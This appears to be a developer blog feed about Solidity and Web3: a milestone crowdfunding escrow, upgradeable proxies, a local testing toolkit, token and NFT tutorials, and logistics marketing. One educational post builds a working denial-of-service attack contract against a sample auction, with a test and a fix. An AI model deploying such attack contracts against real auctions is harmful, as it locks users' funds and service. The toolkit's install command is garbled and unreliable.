If you try to divide $100 by 3, a normal computer gives you $33.3333... But Solidity doesn't do fractions well. Those leftover .3333 fractions (we call them "dust") can get permanently trapped in the contract. Over time, the math breaks.

To remove this ambiguity, I standardized everything using a financial concept called Basis Points (BPS). In this system, 10,000 BPS is exactly equal to 100%.

Instead of giving a creator a fixed amount of tokens, we give them slices of a pie.

Phase 1 is 4000 BPS (40% of the pie).
Phase 2 is 4000 BPS (40% of the pie).
Phase 3 is 2000 BPS (20% of the pie).

Why is this pie method so important? Stretch goals.

Imagine a charity sets a goal of $10,000, but the campaign goes viral and raises $50,000. If our code said "Give the creator exactly $4,000 for Phase 1," the contract would get confused by the extra $40,000 sitting in the vault.

But because our milestones are percentages tied to the total amount raised, the math adapts automatically.

40% of $10,000 is $4,000.
40% of $50,000 is $20,000.

The pie gets bigger, but the sizes of the slices stay exactly the same. The code doesn't break.

Graceful Failure: The "Abandoned" State

Most smart contracts only understand black and white: Success or Failure.

If the campaign fails to hit its goal, the robot opens the vault and gives everyone a 100% refund. Easy.

But what if the campaign succeeds, the creator takes 40% of the funds to start Phase 1, and then they vanish? You cannot pretend nothing happened. 100% of the money isn't there anymore.

This is where the "Defensive" part of the Defensive Escrow kicks in. I added a state called Abandoned.

If a creator goes rogue, an Admin can press a haltCampaign button. The robot permanently locks the vault.

The concept is simple: you are refunded based on the work that was never unlocked. If you pledged 10 ETH, and the creator ran away after taking 40%, the robot mathematically guarantees you get your remaining 6 ETH back.

This turns a "crypto scam" into a structured, safe process. There is no emotional arguing over who gets what. The math just settles the difference.

The Fiat Bridge: Bringing Web2 to Web3

Most Web3 systems make a fatal assumption: they assume every user already has a crypto wallet and knows how to pay gas fees. That assumption kills adoption.

Now, you might be thinking: "Wait, Obinna, don't we already have smart accounts where users can log in with their Gmail? Aren't there easy fiat on-ramps and off-ramps today?"

Yes, absolutely. The Web3 ecosystem has made massive strides with Account Abstraction and embedded wallets. However, I still chose to architect a direct platform-to-fiat bridge called pledgeFiatOnBehalf.

Why? Because true adoption requires absolute user flexibility. Some people simply do not want to go through a crypto on-ramp or manage a smart account even a hidden one. They want to type their credit card into a familiar website and be done in 30 seconds, remaining entirely Web2-native. By building a custodial bridge, we allow those users to participate natively, while their economic support is still mathematically secured in our smart contract.

If Bob pays $100 with a credit card on our website, our secure backend sees the payment. Then, our own "Platform Wallet" interacts with the smart contract, depositing $100 worth of crypto into the vault on Bob's behalf.

We act as a custodian for Bob. The messy credit card logic stays entirely off-chain, while the blockchain remains the ultimate, pristine source of truth for the project's funding.

The Trust Model: "Wait, isn't this centralized?"

If you have been reading closely, you might have noticed a recurring theme: an Admin or Platform wallet has the power to approve milestones, press the "Halt" button, and bridge fiat payments.

A developer might look at this and ask, "Wait, Obinna, isn't this centralized?"

It is a great question. Yes, there is a human element. But having an administrative role is not the same as having total system control. To understand why, you need to understand the concept of an Invariant.

In smart contract engineering, an Invariant is a mathematical law written into the code that can never, ever be broken. Not even by the creator. Not even by the Admin.

Here is the distinction:

What the Admin CAN do: They can pause the protocol, tell the robot a milestone is finished, or press the "Halt" button to trigger refunds.
What the Admin CANNOT do: They cannot withdraw user funds to their own wallet. They cannot bypass the milestone math. They cannot rewrite the refund logic.

The real protection is not governance, it's the strict math constraints written into the robot's code.
The trust model is simple: Humans can trigger states, but they cannot violate the financial laws of the system. That is the boundary.

The BinnaDev Takeaway

If I step back and summarize the architecture, this isn't just "crowdfunding with milestones."

It is a system where capital is locked into predictable, mathematical rules. Failure is not a disastrous rug-pull; it is a structured, mathematically safe process. Fiat and crypto are unified so anyone can participate on their own terms.

Or, to put it in one line:

Immutability handles correctness. Milestones handle trust. Invariants handle safety.

Now that we have written the rules of the protocol, how do we prove they actually work? How do we know a hacker can't break the math? In the next post, we are going to dive into Foundry Testing. I'll show you how I test these invariants to mathematically prove they hold up against any attack.

Immutability by Default, Upgradeability by Necessity: Lessons from a Crowdfunding Protocol

Mon, 27 Apr 2026 13:41:35 +0000

Smart contracts handle real value, so I believe every line of code should communicate trust.

When you first start learning Solidity, you are taught one golden rule: smart contracts are immutable. Deploying a contract is like launching a rocket into space, once it leaves the launchpad, you can't easily change the wiring. If there is a bug, the code is set in stone.

But recently, while building MilestoneCrowdfundUpgradeable: an onchain escrow protocol verified on Polygon. I hit a classic Web3 crossroads.

My stakeholder had a very practical requirement: flexibility. We knew we had future upgrades planned for the protocol, but we couldn't ask our users to interact with a new contract address every single month. That is a terrible user experience and a quick way to erode trust. We needed a single, reliable entry point for users, while maintaining the ability to upgrade the underlying logic.

We needed an upgradeable contract.

In this post (the first of a five-part series), I want to sit down with you and share exactly how I approached Upgradeability. If you are a beginner or intermediate developer trying to wrap your head around proxies, storage collisions, and initialization traps, this post is for you.

What Actually is a Proxy? (The Restaurant Analogy)
Before we talk about how to upgrade, we have to understand the architecture. How do you change code that is supposed to be unchangeable?

You split the contract into two pieces. I like to explain it using a restaurant analogy:

The Proxy (The Building & Cash Register): This contract has a permanent address. Users only ever interact with this contract. It holds all the money (ETH) and all the data (state).
The Implementation (The Kitchen Staff & Recipe): This contract holds the actual logic (the code for pledge(), refund(), etc.).

When a user sends money to the Proxy, the Proxy uses a special Ethereum command called delegatecall. It basically says to the Implementation: "Hey Kitchen, borrow my ingredients and tell me how to process this order, but leave the money in my cash register."

If we find a bug in our recipe, the Admin simply deploys a brand new Implementation contract (a new Kitchen Staff), and tells the Proxy to start asking them for instructions instead. The building address and the cash register never change.

There are a few ways to build this. I chose a pattern called UUPS (Universal Upgradeable Proxy Standard) via the OpenZeppelin library.

Without getting too bogged down in jargon, older patterns (like Transparent Proxies) put the "upgrade manager" in the Proxy itself. UUPS puts the "upgrade manager" in the Implementation contract. I chose UUPS because it makes the Proxy lightweight, which makes transactions cheaper (lower gas fees) for our users.

The Constructor Trap (And How to Get Hacked)

When you write a normal smart contract, you use a constructor() to set up your initial variables (like assigning the owner). Constructors run exactly once, during deployment.
But in a proxy setup, the Proxy deploys after the Implementation. The Proxy can't trigger the Implementation's constructor. So, the golden rule of upgradeability is: Do not use constructors. Use an initialize() function instead.

At first, it feels like you can just swap the words and move on. But here is the trap: The implementation contract is still a live contract sitting on the blockchain. Imagine you deploy your Implementation contract, and it has an initialize() function that sets the owner. Your Proxy connects to it and calls initialize(). Great! Your Proxy is the owner.

But what about the Implementation contract itself? It's just floating out there. If you don't lock it, a hacker can call initialize() directly on the Implementation contract, make themselves the owner, and potentially command it to self-destruct. If the Implementation is destroyed, your Proxy is permanently broken.

To prevent this, my approach is strict:

All protocol setup goes into initialize().
I immediately lock the Implementation contract using a special constructor.

/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
    // This locks the Implementation contract so no one can initialize it directly
    _disableInitializers(); 
}

From a mindset perspective: Assume attackers will interact with your implementation contract directly. Once you internalize that, locking it stops being a confusing "trap" and simply becomes part of your default security posture.

Storage Management: The Giant Spreadsheet

Upgradeable contracts are notorious for "storage collisions."

Think of smart contract storage like a giant, invisible spreadsheet. Row 1 is owner. Row 2 is totalRaised.

When you upgrade to Implementation V2, the Proxy still uses that exact same spreadsheet. If you accidentally write V2 so that a new variable called isCampaignActive is placed in Row 1, you just overwrote the owner! That is a storage collision, and it is catastrophic.

To prevent this, my approach is conservative and explicit:

Append-only storage: Never reorder variables. Never delete variables.
Storage Gaps: I use the classic uint256[50] private __gap; at the bottom of my contracts.

A storage gap is literally just claiming 50 empty rows at the bottom of your spreadsheet. If I ever need to add a new variable in V2, I take one row away from the gap (uint256[49] private __gap;) and add my new variable.

Why gaps instead of newer, complex patterns (like ERC-7201)? Because it's simple, battle-tested, and auditors easily understand it. Storage layout is not "code you can refactor"; it's "state you must preserve forever." Discipline is your real protection.

The Hardest Lesson: Hunting for Ghosts

The single most frustrating moment I had while setting up this project in Foundry (my testing framework) came down to one line of code.

In Web3, we use something called a ReentrancyGuard to stop hackers from double-spending money. Because I was building an upgradeable contract, I kept trying to import ReentrancyGuardUpgradeable.

It just wasn't there. Most older tutorials, blog posts, and AI tools told me to use the Upgradeable version, so it felt like I was doing something wrong.

What finally clicked was reading the source code of the newest OpenZeppelin version. I realized that the standard ReentrancyGuard no longer relied on a constructor. It used internal logic that worked perfectly fine behind a proxy. I didn't need an upgradeable version anymore; I could just use the normal one:

import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

The frustrating part wasn't the code, it was the mismatch between my old mental model ("everything must have an Upgradeable suffix") and reality (some contracts are now inherently proxy-safe).

It forced a deeper shift in how I work: I stopped coding from patterns, and started reasoning from first principles. Upgradeability isn't just about making a proxy; it's about understanding how every single tool you import behaves under the hood.

The BinnaDev Takeaway

If a junior developer asked me today, "Obinna, should I make my next project upgradeable?" my answer would be:

It depends but try not to use it unless you have a clear, defensible reason.

Upgradeability is not a free feature. You gain flexibility, but you introduce new attack surfaces and complexity. If you can ship your protocol as immutable, do that first. It gives you a simpler mental model, fewer failure modes, and it is vastly easier to secure.

Only reach for upgradeability if the system will hold significant user funds, has evolving logic, or needs long-term maintenance. At that point, upgradeability becomes a risk management tool, not a convenience.

My guiding principle is this: Immutability by default, upgradeability by necessity. If you can't clearly explain why it must be upgradeable, who controls the upgrades, and how users are protected, then you aren't ready to use it yet.

Deployment Update

The MilestoneCrowdfundUpgradeable contract has been successfully deployed on Polygon (Chain ID: 137), marking the transition from design and testing into a live, verifiable environment.

Here are the core deployment details:

Proxy Address: https://polygonscan.com/address/0xf83aaB5f1fAA1a7a74AD27E2f8058801EaA31393
Implementation Address: https://polygonscan.com/address/0x003e81b1b080029b87c728590c9bfec339180625

This deployment reflects the architectural decisions discussed earlier: a proxy-based upgradeable system with clearly defined control boundaries and fund flow roles. With the contract now live, the focus shifts from infrastructure to behavior, how funds move, how milestones are enforced, and how the protocol responds under real-world conditions.

In the next post, we'll dive into the actual mechanics of the MilestoneCrowdfundUpgradeable protocol itself. I'll walk you through how we designed the escrow, the math behind milestone-based releases, and the trust model that protects users if a creator decides to walk away.

Why I Built RivETH: A Bare-Metal Toolkit for Ethereum Devs

Mon, 02 Mar 2026 09:39:02 +0000

As a Web3 developer, the "hell loop" of writing code, compiling, and testing is where we spend 90% of our time...

...for many, that loop is broken.

We either rely on isolated web-based IDEs, which feels disconnected from our local VS Code environment, or we spend hours writing boilerplate frontend code just to test a single onlyOwner function in a local Hardhat node.

I wanted something faster. Something that lived in my IDE but gave me the visual power of a dashboard. So, I built RivETH.

The Problem: The "Context-Switch" Tax
When you’re deep in Solidity, every time you have to leave your editor to copy-paste an ABI into a frontend or configure a complex deployment script, you lose momentum.

Existing tools often fall into two camps:

Too Heavy: Full-blown frameworks that require their own learning curve.
Too Manual: Using the terminal for everything, which makes visualizing contract state a nightmare.

The Solution: RivETH

RivETH is a lightweight, open-source Ethereum smart contract development toolkit that runs locally and in your browser. It doesn't use heavy frameworks and complex tooling. It’s built on the "Holy Trinity": HTML, CSS, and Vanilla JavaScript; plus a bit of ethers.js from NodeJS.

How it Works (The Bare-Metal Flow)

RivETH bridges the gap between your terminal and your browser using a simple, high-performance workflow:

Write: You write your Solidity in VS Code.
Compile: You run a simple make [FileName] command in your terminal. This generates the artifacts.
Load: RivETH uses the Fetch API to grab that ABI and Bytecode directly from your project files (served via the VS Code Live Server extension).

Interact: RivETH dynamically maps your ABI to a UI.

Key Features That Change the Game

Smart Constructor Mapping

Deployment shouldn't be a guessing game. RivETH provides a single, smart input field for your constructor. It uses the data types from your ABI as placeholders.

Need to pass an array? Just use ["0xAbc","0xDef"].
Multiple parameters? Just use a comma and a space: "MyToken", 18.

Dedicated Function UI

Once deployed, RivETH generates individual buttons and input fields for every function parameter in your contract. The functions are just a button click away from being called. Also, the transaction logs are updated whenever state-changing functions are called and they can be looked into for gas costs cand calldata.

Integrated Hardhat Wallet

RivETH connects to your Hardhat node and gives you a dropdown of all 20 pre-funded accounts. You can see their balances in real-time and swap signers with one click.

Terminal Debug Logs in Hardhat node

While you interact with your contract in the browser, the local Hardhat node runs in the background and can give a "trace" when errors come up.

ETH converter

While this might be seen as a simple feature, RivETH provides a dedicated ETH converter to help the developer quickly convert between WEI and ETH.

Why "Bare-Metal" Matters
By avoiding heavy frontend frameworks, RivETH is incredibly snappy. It doesn't need to "rebuild" or "hot-reload" a massive JS bundle. You just hit Load, and it instantly fetches the latest local artifacts.

It’s a tool built for developers who want to stay close to the metal and focus on what matters: writing badass smart contracts.

Get Started
If you’re tired of the friction in your local dev environment, give RivETH a spin. It takes a few seconds to set up:

# Download and unzip in one go
curl -L -O https://github.com --output RivETH.zip && unzip RivETH.zip -d temp && mv temp/RivETH-main/* . && rm -rf temp RivETH.zip

# install dependencies and use offline!
cd RivETH
npm insall
Check out the full documentation here: temi-tade.github.io/RivETHDocs/docs

I’m looking to grow the community and would love to see what you build with it. Drop a star on GitHub and let’s make Ethereum development faster for everyone.

End Notes

While RivETH is great for testing your contract visually, which is fantastic for development mode, further testing should still be done with advanced tools like foundry for production-grade contracts.

Executing Denial of Service on smart contracts

Sat, 24 May 2025 04:24:29 +0000

️ Deny users from accessing a smart contract

A Denial of Service (DOS) attack is a type of attack that is designed to disable, shut down, or disrupt a network, website, or service. Essentially it means that the attacker somehow can prevent regular users from accessing the network, website, or service therefore denying them service. This is a very common attack which we all know about in web2 as well but today we will try to imitate a Denial of Service attack on a smart contract

Overview

There will be two smart contracts - Good.sol and Attack.sol. Good.sol will be used to run a sample auction where it will have a function in which the current user can become the current winner of the auction by sending Good.sol higher amount of ETH than was sent by the previous winner. After the winner is replaced, the old winner is sent back the money which he initially sent to the contract.

Attack.sol will attack in such a manner that after becoming the current winner of the auction, it will not allow anyone else to replace it even if the address trying to win is willing to put in more ETH. Thus Attack.sol will bring Good.sol under a DOS attack because after it becomes the winner, it will deny the ability for any other address to becomes the winner.

⚒️ Build

Setting up Foundry

To start the project, open up your terminal and create a new project directory.

mkdir denial-of-service

Let's start by setting up Hardhat inside the denial-of-service directory.

cd denial-of-service
forge init .

Write the Smart Contracts

Let's create the auction contract, named Good.sol, with the following code.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

contract Good {
    address public currentWinner;
    uint public currentAuctionPrice;

    constructor() {
        currentWinner = msg.sender;
    }

    function setCurrentAuctionPrice() public payable {
        require(msg.value > currentAuctionPrice, "Need to pay more than the currentAuctionPrice");
        (bool sent, ) = currentWinner.call{value: currentAuctionPrice}("");
        if (sent) {
            currentAuctionPrice = msg.value;
            currentWinner = msg.sender;
        }
    }
}

This is a pretty basic contract which stores the address of the last highest bidder, and the value that they bid. Anyone can call setCurrentAuctionPrice and send more ETH than currentAuctionPrice, which will first attempt to send the last bidder their ETH back, and then set the transaction caller as the new highest bidder with their ETH value.

Now, create a contract named Attack.sol within the contracts directory and write the following lines of code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import "./Good.sol";

contract Attack {
    Good good;

    constructor(address _good) {
        good = Good(_good);
    }

    function attack() public payable {
        good.setCurrentAuctionPrice{value: msg.value}();
    }
}

This contract has a function called attack(), that just calls setCurrentAuctionPrice on the Good contract. Note, however, this contract does not have a fallback() function where it can receive ETH. More on this later.

Writing the Test

Let's create an attack that will cause the Good contract to become unusable. Create a new file under test folder named Attack.t.sol and add the following lines of code to it

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";
import {Attack} from "../src/Attack.sol";
import {Good} from "../src/Good.sol";
import {console} from "forge-std/console.sol";

contract AttackTester is Test {
    //declare a variable for holding instances of our contracts
    Good public goodContract;
    Attack public attackContract;

    function setUp() public {
        // Deploy the Good Contract using a dummy account
        vm.prank(vm.addr(420));
        goodContract = new Good();


        //Deploy the Attack Contract
        attackContract = new Attack(address(goodContract));

    }

    function test_attack() public {

        // Get two addresses using their private keys
        address address1= vm.addr(1);
        address address2= vm.addr(2);

        //add funds to the addresses
        deal(address1, 100 ether);
        deal(address2, 100 ether);


        //Initially let address1 become the current winner of the auction
        //impersonate address1 for sending a transaction to the Good Contract
        vm.prank(address1);
        goodContract.setCurrentAuctionPrice{value: 1 ether}();

        
        
        // Start the attack and make Attack.sol the current winner of the auction
        attackContract.attack{value: 3 ether}();

        // Now let's try making address2 the current winner of the auction
        vm.prank(address2);
        goodContract.setCurrentAuctionPrice{value: 4 ether}();



        // Balance of the Game Contract should be equal 0
        assertEq(goodContract.currentWinner(), address(attackContract));
    }
}

Notice how Attack.sol will lead Good.sol into a DOS attack. First address1 will become the current winner by calling setCurrentAuctionPrice on Good.sol then Attack.sol will become the current winner by sending more ETH than address1 using the attack function. Now when address2 will try to become the new winner, it won't be able to do that because of this check(if (sent)) present in the Good.sol contract which verifies that the current winner should only be changed if the ETH is sent back to the previous current winner.

Since Attack.sol doesn't have a fallback function which is necessary to accept ETH payments, sent is always false and thus the current winner is never updated and address2 can never become the current winner

Test the attack

To run the test, in your terminal pointing to the root directory of this level execute the following command

forge test

When the tests pass, you will notice that the Good.sol is now under DOS attack because after Attack.sol becomes the current winner, on other address can becomes the current winner.

Prevention

You can create a separate withdraw function for the previous winners.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

contract Good {
    address public currentWinner;
    uint public currentAuctionPrice;
    mapping(address => uint) public balances;

    constructor() {
        currentWinner = msg.sender;
    }

    function setCurrentAuctionPrice() public payable {
        require(msg.value > currentAuctionPrice, "Need to pay more than the currentAuctionPrice");
        balances[currentWinner] += currentAuctionPrice;
        currentAuctionPrice = msg.value;
        currentWinner = msg.sender;
    }

    function withdraw() public {
        require(msg.sender != currentWinner, "Current winner cannot withdraw");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

Conclusion

Hope you learnt something from this post.
If you have any questions or feel stuck or just want to say Hi, call me anytime!

Thanks

Build your own basic NFT Contract on Ethereum

Thu, 22 May 2025 20:25:02 +0000

Prerequisites

Make sure you have MetaMask installed and set up
Request some Sepolia Testnet ETH from a faucet to work with - Ethereum Sepolia Faucet

Installing Foundry

If you're on a Mac or are using Linux run this command in your terminal

curl -L https://foundry.paradigm.xyz | bash

If you're on Windows, it is recommended that you install wsl and then use the same command. However, if you don't want to install wsl, you'll have to build it from source. Make sure you have the Rust compiler and cargo on your machine. Check if you do by using this command:

rustc --version
cargo --version

Once confirmed, use this command

cargo install --git https://github.com/foundry-rs/foundry --profile local --locked forge cast chisel anvil

Setting up Foundry

To build the smart contract, we will use Foundry this time. It is an Ethereum development environment and framework that allows full-stack Ethereum development on your local computer without relying on browser IDEs such as Remix. It also allows for easier debugging, faster iterations, and writing scripts and tests to go along with your contract code.

To set up a Foundry project, first create a new folder on your computer - we will name ours NFT-Tutorial - and go to it through your Terminal.

Once your Terminal is inside NFT-Tutorial, setup a Foundry project using the following:

forge init foundry-app

Installing OpenZeppelin Contracts

cd into foundry-app and then run the following command:

forge install OpenZeppelin/openzeppelin-contracts

This will fetch Openzeppelin's contracts repository from GitHub and clone it, enabling us to use it in our code.

When you do this, Hardhat would have looked at the import statement and understood you're trying to import a Solidity file that is not one part of your own project . It would then fetch it from the node_modules/ folder because it expects you to have installed the npm dependency for it.

In Foundry, this works a bit differently. Since this is not a Node project and doesn't ship with npm - and instead just git clones the repository you need into the lib folder, imports would normally work something like this:

import {ERC20} from "../lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

But this code doesn't look that clean - so we have remappings.

Remappings are essentially a way to provide an alias to imports - a shorter-way of writing import statements which are aliasing some short-form path to the real path of that dependency.

To configure them in your project and make sure they're picked up when compiling your code, run the following command:

forge remappings > remappings.txt

This will take the remappings it has understood, and write them to a remappings.txt file in foundry-app which acts as a configuration file for all your remappings. You can also customize this and add new ones if you need to.

Writing the NFT Contract

With OpenZeppelin Contracts now installed, we can move on to writing our Solidity code.

Create a new Solidity file - we'll name ours NFTee.sol - inside the src folder of your Foundry project. Write the following code in that file:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// Import the openzepplin contracts
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";

// NFTee is  ERC721 signifies that the contract we are creating imports ERC721 and follows ERC721 contract from openzeppelin
contract NFTee is ERC721 {
    constructor() ERC721("NFTee", "ITM") {
        // mint an NFT to yourself
        _mint(msg.sender, 1);
    }
}

The code is fairly straightforward. We import the ERC-721 contract from OpenZeppelin, and then initialize it during the constructor. We also use the internal _mint function to mint an NFT to ourself.

To make sure you got the code right check if all the files are compiling. First delete the test folder and then, in your terminal, run

forge build

If there are no errors and your contract compiled just fine, you are good to go!

Deploying the Contract

Let's deploy this contract to the Sepolia Test Network. First, create a .env file inside your foundry-dapp folder and add the

following lines to it:

QUICKNODE_RPC_URL="..."
PRIVATE_KEY="..."

Head over to Quicknode and sign up for an account if you haven't already. Quicknode is a node provider that runs blockchain nodes for various networks and gives you access to them so you don't have to run your own. We will use them to deploy our contract through Foundry by connecting Foundry to their node.

After creating an account at Quicknode, click on Create an Endpoint, select Ethereum and then select the Sepolia network. Finish this process, and then copy the HTTP Provider link you receive. Update your .env file to have that URL as the value for QUICKNODE_RPC_URL.

Now, for the private key. When you deploy using Remix, Remix just prompts you to deploy the contract through MetaMask since it operates in the browser. However, since we are running Foundry directly on your computer, we need to give it the private key directly.

To get your private key, you can export it from MetaMask. To do so, open up MetaMask, click on Account Details for the account you want to export, and click on Export Private Key. Copy-paste the value and put it in your .env file as the value for PRIVATE_KEY.

Now we'll have to load our environment variables into the terminal's environment. For doing this, run the following command in your terminal

source .env

This command just specifies that the source of the variables we're about to enter is the .env file.

Finally, to deploy your contract, run the following command:

forge create --rpc-url $QUICKNODE_RPC_URL --private-key $PRIVATE_KEY src/NFTee.sol:NFTee

Notice how variable names are prefixed with $

This command will output some logs to your console where it will compile your contract and then deploy to the Sepolia Test Network. It will also give you the contract address of the deployed contract.

Copy the contract address it gives you, and look it up on Sepolia Etherscan - open up the first transaction there and it will show you that a NFT was minted and transfered to your address!

Congratulations!

Awesome! If you got this far, you have probably deployed your first NFT contract to an Ethereum testnet! You also learnt about Foundry and setting it up.

If you had any trouble, or just want to share your success, message me for help!

Thanks for reading my post.
Happy coding!

Build your own token using ERC-20 tokens

Tue, 20 May 2025 19:02:44 +0000

What is ERC-20?

ERC stands for Ethereum Request for Comment. Essentially, they are standards that have been approved by the community and are used to convey technical requirements and specifications for certain use cases.

ERC-20 specifically is a standard which outlines the technical specification of a fungible token.

Most tokens on Ethereum comply with the ERC-20 specification. Following a standard like ERC-20 allows application developers which use ERC-20 tokens to easily support all ERC-20 tokens without having to write specialized code for them individually.

For example, decentralized exchanges like Uniswap allow you to swap any token for any other token. This is only possible because pretty much all tokens follow the ERC-20 standard, so Uniswap could write code which works with all tokens following the standard.

Prerequisites

Make sure you have downloaded and installed MetaMask
Select the Sepolia Testnet network to work with
Request some Sepolia Testnet ETH from a faucet to work with - Ethereum Sepolia Faucet | Free 0.1 sETH per day | LearnWeb3

Once you have set all of these up, let's get started!

Writing the code

We are using Remix IDE for writing the smart contract.

In Remix, create a new contract file, I named mine LW3Token.sol - you can name it whatever you want!

In the contract, write the following code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "https://github.com/OpenZeppelin/openzeppelin- 
contracts/blob/master/contracts/token/ERC20/ERC20.sol";

contract LW3Token is ERC20 {
    constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) {
        _mint(msg.sender, 10 * 10 ** 18);
    }
}

Compiling

Compile your contract by either pressing Save (CTRL + S on Windows, Command + S on Mac), or by going over to the Compiler tab in Remix, selecting LW3Token.sol, and hitting Compile.

Deploying

Head over to the Deploy and Run Transactions tab in Remix.

Select the Injected Provider - MetaMask environment (ensure you are on the Sepolia Test Network), and connect your Metamask wallet.

Select the LW3Token.sol contract, and enter values for the constructor arguments _name and _symbol.

Click Transact and approve the transaction from Metamask to deploy your contract!

When deployed, the contract should show up under the Deployed Contracts section. Click the Copy Address button to copy the contract address.

Go to Sepolia Etherscan and search for your contract address and you should see it there!

Viewing Tokens in Metamask

You may notice that even though you minted tokens to your address, they don't show up in Metamask.

This is because Metamask cannot detect random ERC20 token balances (since there are literally hundreds of thousands of them). They have a list of the most well known ERC20 tokens that they can show automatically, but apart from that, for your own tokens, you will usually need to tell Metamask to add it to your wallet manually.

To do so:

Copy your contract address
Open Metamask and click Import Tokens in the Assets tab
Enter your Token Contract Address, and it should detect the name and number of decimals automatically
Click Add, and you will see your balance in Metamask!

Congratulations!

Congratulations! You've successfully deployed and minted your own ERC20 token! Onwards and upwards from here!

If you ran into any trouble, call me anytime, I will help you!

Thanks for reading my post.
Happy coding!

A Deep Dive into Decentralized Provenance Tracking and Smart Contracts

Fri, 28 Mar 2025 22:39:54 +0000

The global supply chain is a complex web of interconnected processes, often plagued by inefficiencies, lack of transparency, and susceptibility to fraud. While blockchain technology has been touted as a solution, most discussions focus on its application in finance or NFTs. However, Web3 offers a suite of lesser-known services that can revolutionize supply chain management. By combining decentralized provenance tracking, tokenized asset representation, and smart contract automation, businesses can achieve unprecedented levels of transparency, efficiency, and trust.

The Problem: Opaque Supply Chains and Counterfeit Goods

Consider a luxury fashion brand, Elegance Couture, that sources materials from multiple countries, manufactures products in different regions, and distributes them globally. The brand faces two major challenges:

Lack of Transparency: Customers and stakeholders cannot verify the authenticity or ethical sourcing of materials.

Inefficient Processes: Manual tracking and reconciliation of supply chain data lead to delays and errors.

Elegance Couture needs a solution that ensures end-to-end transparency, automates supply chain processes, and builds trust with its customers.

The Web3 Solution: A Triad of Decentralized Services

To address these challenges, Elegance Couture can leverage three advanced Web3 services:

Decentralized Provenance Tracking
Platforms like OriginTrail or Provenance use blockchain to create immutable records of a product’s journey from raw materials to the end consumer. Each step in the supply chain is logged on a decentralized ledger, ensuring transparency and traceability.

Tokenized Asset Representation
By tokenizing physical assets (e.g., raw materials, finished products) on platforms like Polymath or Harbor, Elegance Couture can create digital twins of its products. These tokens represent ownership, authenticity, and other metadata, enabling seamless tracking and verification.

Smart Contract Automation
Smart contracts on networks like Ethereum or Polkadot can automate supply chain processes, such as payments, quality checks, and compliance reporting. These self-executing contracts reduce manual intervention and ensure accuracy.

The Process: How It All Comes Together

Step 1: Provenance Tracking
Elegance Couture integrates decentralized provenance tracking into its supply chain. Each material supplier logs the origin, quality, and ethical certifications of their products on the blockchain. As the materials move through the supply chain, every transaction and transformation is recorded.

Step 2: Tokenization of Assets
Once the materials are transformed into finished products, Elegance Couture creates tokenized representations of each item. These tokens include details such as the product’s origin, manufacturing process, and authenticity. Customers can scan a QR code to access this information.

Step 3: Smart Contract Automation
Smart contracts are deployed to automate key processes. For example, when a shipment reaches a distributor, a smart contract triggers an automatic payment to the manufacturer. Similarly, quality checks and compliance reports are automatically logged and verified.

The Utility and Benefits

Enhanced Transparency: Customers can verify the authenticity and ethical sourcing of products, building trust and loyalty.

Fraud Prevention: Immutable records on the blockchain make it nearly impossible to introduce counterfeit goods into the supply chain.

Operational Efficiency: Automation reduces manual errors, speeds up processes, and lowers costs.

Sustainability: Ethical sourcing and transparent practices align with global sustainability goals, enhancing the brand’s reputation.

Why Choose Web3Dev for Your Supply Chain Transformation?

Implementing a Web3-powered supply chain solution requires expertise in blockchain integration, smart contract development, and system interoperability. This is where Web3Dev excels. As a leading Web3 development agency, Web3Dev specializes in creating tailored solutions that leverage decentralized technologies to solve real-world problems. Our team can design and deploy a comprehensive system for provenance tracking, asset tokenization, and process automation, ensuring a seamless and secure experience for businesses like Elegance Couture.

By partnering with Web3Dev, you’re not just adopting cutting-edge technology, you’re setting a new standard for transparency and efficiency in your industry.

In conclusion, the combination of decentralized provenance tracking, tokenized asset representation, and smart contract automation represents a game-changing approach to supply chain management. These Web3 services, though less known, hold immense potential to transform industries and build trust in global markets. For businesses ready to embrace this future, Web3Dev is the ideal partner to guide you through the complexities and unlock the full power of Web3.

Revolutionizing Logistics with Web3: A New Era of Transparency, Efficiency, and Trust

Tue, 25 Feb 2025 10:35:42 +0000

The logistics industry is the backbone of global trade, ensuring that goods move seamlessly from manufacturers to consumers. However, it has long been plagued by inefficiencies, lack of transparency, and trust issues. Traditional logistics systems often rely on centralized intermediaries, manual processes, and fragmented data silos, which can lead to delays, errors, and disputes. Enter Web3, the next generation of the internet built on decentralized technologies like blockchain, smart contracts, and decentralized autonomous organizations (DAOs). Web3 has the potential to transform logistics by addressing these pain points and creating a more transparent, efficient, and trustworthy ecosystem.

1. Decentralization and Trustless Transactions

One of the core principles of Web3 is decentralization, which eliminates the need for intermediaries in transactions. In logistics, this means that shippers, carriers, and customers can interact directly without relying on third-party brokers or freight forwarders. Blockchain technology, a cornerstone of Web3, enables trustless transactions, transactions where parties do not need to trust each other because the system itself ensures integrity.

For example, when a shipment is initiated, all relevant stakeholders (manufacturers, transporters, customs agents, and customers) can access a shared, immutable ledger that records every step of the process. This reduces the risk of fraud, miscommunication, and disputes, as everyone has access to the same verified information. Smart contracts, self-executing agreements coded on the blockchain, can automatically trigger payments once predefined conditions are met, such as the delivery of goods at a specific location. This not only speeds up the payment process but also reduces the need for costly intermediaries.

2. Enhanced Transparency and Traceability

Transparency is one of the most significant challenges in logistics. Consumers and businesses alike want to know where their products come from, how they are handled, and when they will arrive. Web3 offers unprecedented levels of traceability through blockchain-based supply chain solutions.

Each product can be assigned a unique digital identifier (such as an NFT, or non-fungible token) that tracks its journey from origin to destination. This digital twin of the physical product can store information about its manufacturing process, transportation conditions, and even carbon footprint. For instance, a retailer could verify that a batch of organic produce was indeed sourced from a certified farm and transported under appropriate temperature conditions. Similarly, consumers could scan a QR code on a product to view its entire history, fostering trust and brand loyalty.

